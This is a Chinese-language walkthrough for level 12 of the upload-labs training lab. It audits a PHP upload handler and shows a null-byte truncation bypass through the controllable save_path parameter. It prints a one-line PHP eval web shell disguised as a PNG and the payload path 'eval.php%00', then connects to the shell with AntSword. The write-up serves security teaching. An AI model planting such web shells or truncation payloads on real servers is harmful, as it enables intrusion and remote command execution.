upload-labs第十二关教程

upload-labs第十二关教程

一、源代码分析

代码审计

php 复制代码
$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
    $ext_arr = array('jpg','png','gif');
    $file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);
    if(in_array($file_ext,$ext_arr)){
        $temp_file = $_FILES['upload_file']['tmp_name'];
        $img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;

        if(move_uploaded_file($temp_file,$img_path)){
            $is_upload = true;
        } else {
            $msg = '上传出错!';
        }
    } else{
        $msg = "只允许上传.jpg|.png|.gif类型文件!";
    }
}

这里为get请求传递文件路径到服务器,然后这里strrpos() 函数查找字符串在另一字符串中最后一次出现的位置,是后缀名白名单,截取后缀名并随机命名拼接,然后还有对$_GET['save_path']可控。

二、绕过分析

截断绕过

要求:php版本<5.3.29,且magic_quotes_gpc = Off,修改php.ini文件,将magic_quotes_gpc 设置为off

magic_quotes_gpc函数介绍

在PHP中作用是判断解析用户提示的数据,包括post/get/cookie过来的数据增加转义字符"\",以确保这些数据不会引起程序出现致命错误。
在magic_quotes_gpc=on的情况下,如果输入数据有单引号/双引号/反斜线/null字符等,都会被加上反斜线。

关闭magic_quotes_gpc

在php.ini文件内将magic_quotes_gpc改为Off

上传eval.png文件

php 复制代码
<? @eval($_POST['cmd']); ?>

这里直接把eval.php改为eval.png就行了,因为这里没有请求头进行检测,所以可以这样

使用burpsuite进行抓包修改

由于对于save_path可控,所以在这里进行截断操作。

修改之前:

这里的save_path=../upload/

修改之后:

这里的save_path=../upload/eval.php%00

放包,查看是否上传成功


上传成功。这里虽然显示的是上传的是图片,其实是被截断。使用中国蚁剑时连接eval.php就行了。

使用中国蚁剑进行连接

相关推荐
小李独爱秋6 小时前
计算机网络经典问题透视:端到端时延和时延抖动有什么区别?
运维·服务器·计算机网络·安全·web安全
nihui1237 小时前
Kali Linux 中 Nmap 工具详细使用指南
linux·网络·web安全
墨言ink8 小时前
CVE-2025-36037-IBM webMethods 集成服务器请求伪造-漏洞复现
web安全·poc·cve-2025-36037·webmethods
m0_738120728 小时前
应急响应——知攻善防蓝队溯源靶机Linux-2详细流程
linux·服务器·网络·安全·web安全·php
Whoami!8 小时前
❿⁄₈ ⟦ OSCP ⬖ 研记 ⟧ 密码攻击 ➱ 破解SSH私钥的密码短语
网络安全·信息安全·密码破解原理·john the ripper
能年玲奈喝榴莲牛奶8 小时前
安全服务-渗透测试服务
安全·web安全·网络安全服务
MOON404☾1 天前
006.Backdoor后门编写
网络·安全·网络安全·系统安全
信创天地1 天前
深耕金融政务核心场景:国产化数据库迁移的全流程架构设计与风险管控
运维·网络安全·系统架构·系统安全·运维开发
蜂蜜黄油呀土豆1 天前
计算机网络中的常见网络场景与问题排查
tcp/ip·计算机网络·网络安全·http请求与响应
德迅云安全-小潘1 天前
H5安全风险与防护策略:构建可信的移动互联网服务
web安全